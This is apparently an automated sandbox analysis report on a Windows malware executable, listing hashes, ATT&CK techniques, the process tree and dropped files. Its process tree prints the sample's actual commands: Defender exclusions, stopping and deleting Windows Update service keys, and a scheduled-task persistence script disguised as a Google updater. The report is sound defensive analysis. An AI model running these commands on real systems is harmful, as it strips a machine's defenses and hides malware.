875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630

Resubmissions

23/03/2023, 08:27

230323-kcdqlagd9x 10

23/03/2023, 08:05

230323-jzbn3sed55 10

Analysis

max time kernel
295s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
23/03/2023, 08:05

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General

Target

875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
Size

3.6MB
MD5

ce42cbd9b1d81721ae38248d35e9e40a
SHA1

1eb087350006f465827227724d7fb040a07a67b2
SHA256

875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630
SHA512

7162a9e9f680e2547c289362f93db4c18619b8a4f4e5f04ead9faaf561ff2d5612ec46084fca55cbb41a6b446bacfc701946d2dc3b714d629bef98ffc18d2f65
SSDEEP

49152:N0YkrpIPrE9C+eSLLbEdswC1dLYOwYRh6a1o0QI+Uu6ff6XOhrMev+:OYkrArE0+eEXuhIdLYOww1o1F6fCwjm

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 64 created 2788	64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe	46
PID 64 created 2788	64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe	46
PID 64 created 2788	64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe	46
PID 64 created 2788	64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe	46

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\chromeupdater.exe	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3604	sc.exe
836	sc.exe
2392	sc.exe
3828	sc.exe
1352	sc.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
4632	powershell.exe
4632	powershell.exe
64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
64	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
348	powershell.exe
348	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeShutdownPrivilege	4656	powercfg.exe
Token: SeCreatePagefilePrivilege	4656	powercfg.exe
Token: SeDebugPrivilege	348	powershell.exe
Token: SeShutdownPrivilege	4352	powercfg.exe
Token: SeCreatePagefilePrivilege	4352	powercfg.exe
Token: SeShutdownPrivilege	5004	powercfg.exe
Token: SeCreatePagefilePrivilege	5004	powercfg.exe
Token: SeShutdownPrivilege	4396	powercfg.exe
Token: SeCreatePagefilePrivilege	4396	powercfg.exe
Token: SeIncreaseQuotaPrivilege	348	powershell.exe
Token: SeSecurityPrivilege	348	powershell.exe
Token: SeTakeOwnershipPrivilege	348	powershell.exe
Token: SeLoadDriverPrivilege	348	powershell.exe
Token: SeSystemProfilePrivilege	348	powershell.exe
Token: SeSystemtimePrivilege	348	powershell.exe
Token: SeProfSingleProcessPrivilege	348	powershell.exe
Token: SeIncBasePriorityPrivilege	348	powershell.exe
Token: SeCreatePagefilePrivilege	348	powershell.exe
Token: SeBackupPrivilege	348	powershell.exe
Token: SeRestorePrivilege	348	powershell.exe
Token: SeShutdownPrivilege	348	powershell.exe
Token: SeDebugPrivilege	348	powershell.exe
Token: SeSystemEnvironmentPrivilege	348	powershell.exe
Token: SeRemoteShutdownPrivilege	348	powershell.exe
Token: SeUndockPrivilege	348	powershell.exe
Token: SeManageVolumePrivilege	348	powershell.exe
Token: 33	348	powershell.exe
Token: 34	348	powershell.exe
Token: 35	348	powershell.exe
Token: 36	348	powershell.exe
Token: SeIncreaseQuotaPrivilege	348	powershell.exe
Token: SeSecurityPrivilege	348	powershell.exe
Token: SeTakeOwnershipPrivilege	348	powershell.exe
Token: SeLoadDriverPrivilege	348	powershell.exe
Token: SeSystemProfilePrivilege	348	powershell.exe
Token: SeSystemtimePrivilege	348	powershell.exe
Token: SeProfSingleProcessPrivilege	348	powershell.exe
Token: SeIncBasePriorityPrivilege	348	powershell.exe
Token: SeCreatePagefilePrivilege	348	powershell.exe
Token: SeBackupPrivilege	348	powershell.exe
Token: SeRestorePrivilege	348	powershell.exe
Token: SeShutdownPrivilege	348	powershell.exe
Token: SeDebugPrivilege	348	powershell.exe
Token: SeSystemEnvironmentPrivilege	348	powershell.exe
Token: SeRemoteShutdownPrivilege	348	powershell.exe
Token: SeUndockPrivilege	348	powershell.exe
Token: SeManageVolumePrivilege	348	powershell.exe
Token: 33	348	powershell.exe
Token: 34	348	powershell.exe
Token: 35	348	powershell.exe
Token: 36	348	powershell.exe
Token: SeIncreaseQuotaPrivilege	348	powershell.exe
Token: SeSecurityPrivilege	348	powershell.exe
Token: SeTakeOwnershipPrivilege	348	powershell.exe
Token: SeLoadDriverPrivilege	348	powershell.exe
Token: SeSystemProfilePrivilege	348	powershell.exe
Token: SeSystemtimePrivilege	348	powershell.exe
Token: SeProfSingleProcessPrivilege	348	powershell.exe
Token: SeIncBasePriorityPrivilege	348	powershell.exe
Token: SeCreatePagefilePrivilege	348	powershell.exe
Token: SeBackupPrivilege	348	powershell.exe
Token: SeRestorePrivilege	348	powershell.exe
Token: SeShutdownPrivilege	348	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 112 wrote to memory of 4656	112	cmd.exe	94
PID 112 wrote to memory of 4656	112	cmd.exe	94
PID 3928 wrote to memory of 3604	3928	cmd.exe	95
PID 3928 wrote to memory of 3604	3928	cmd.exe	95
PID 3928 wrote to memory of 836	3928	cmd.exe	96
PID 3928 wrote to memory of 836	3928	cmd.exe	96
PID 112 wrote to memory of 4352	112	cmd.exe	97
PID 112 wrote to memory of 4352	112	cmd.exe	97
PID 3928 wrote to memory of 2392	3928	cmd.exe	98
PID 3928 wrote to memory of 2392	3928	cmd.exe	98
PID 112 wrote to memory of 5004	112	cmd.exe	99
PID 112 wrote to memory of 5004	112	cmd.exe	99
PID 3928 wrote to memory of 3828	3928	cmd.exe	100
PID 3928 wrote to memory of 3828	3928	cmd.exe	100
PID 112 wrote to memory of 4396	112	cmd.exe	101
PID 112 wrote to memory of 4396	112	cmd.exe	101
PID 3928 wrote to memory of 1352	3928	cmd.exe	102
PID 3928 wrote to memory of 1352	3928	cmd.exe	102
PID 3928 wrote to memory of 2276	3928	cmd.exe	103
PID 3928 wrote to memory of 2276	3928	cmd.exe	103
PID 3928 wrote to memory of 4580	3928	cmd.exe	104
PID 3928 wrote to memory of 4580	3928	cmd.exe	104
PID 3928 wrote to memory of 1908	3928	cmd.exe	105
PID 3928 wrote to memory of 1908	3928	cmd.exe	105
PID 3928 wrote to memory of 752	3928	cmd.exe	106
PID 3928 wrote to memory of 752	3928	cmd.exe	106
PID 3928 wrote to memory of 4360	3928	cmd.exe	107
PID 3928 wrote to memory of 4360	3928	cmd.exe	107

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2788
- C:\Users\Admin\AppData\Local\Temp\875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
  "C:\Users\Admin\AppData\Local\Temp\875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:64
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4632
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3604
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:836
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2392
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3828
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1352
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2276
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4580
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1908
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:752
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4360
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:112
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4656
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4352
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5004
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#dzxmaohun#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineUA' /tr '''C:\Program Files\Google\Chrome\chromeupdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\chromeupdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineUA' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineUA" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\chromeupdater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:348

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r5jty2mk.bo1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/64-133-0x00007FF6DF4C0000-0x00007FF6DF85C000-memory.dmp

Filesize
3.6MB

Download
memory/64-165-0x00007FF6DF4C0000-0x00007FF6DF85C000-memory.dmp

Filesize
3.6MB

Download
memory/348-162-0x0000018377030000-0x0000018377040000-memory.dmp

Filesize
64KB

Download
memory/348-161-0x0000018377030000-0x0000018377040000-memory.dmp

Filesize
64KB

Download
memory/4632-134-0x00000226D4940000-0x00000226D4962000-memory.dmp

Filesize
136KB

Download
memory/4632-144-0x00000226ECF70000-0x00000226ECF80000-memory.dmp

Filesize
64KB

Download
memory/4632-145-0x00000226ECF70000-0x00000226ECF80000-memory.dmp

Filesize
64KB

Download
memory/4632-146-0x00000226ECF70000-0x00000226ECF80000-memory.dmp

Filesize
64KB

Download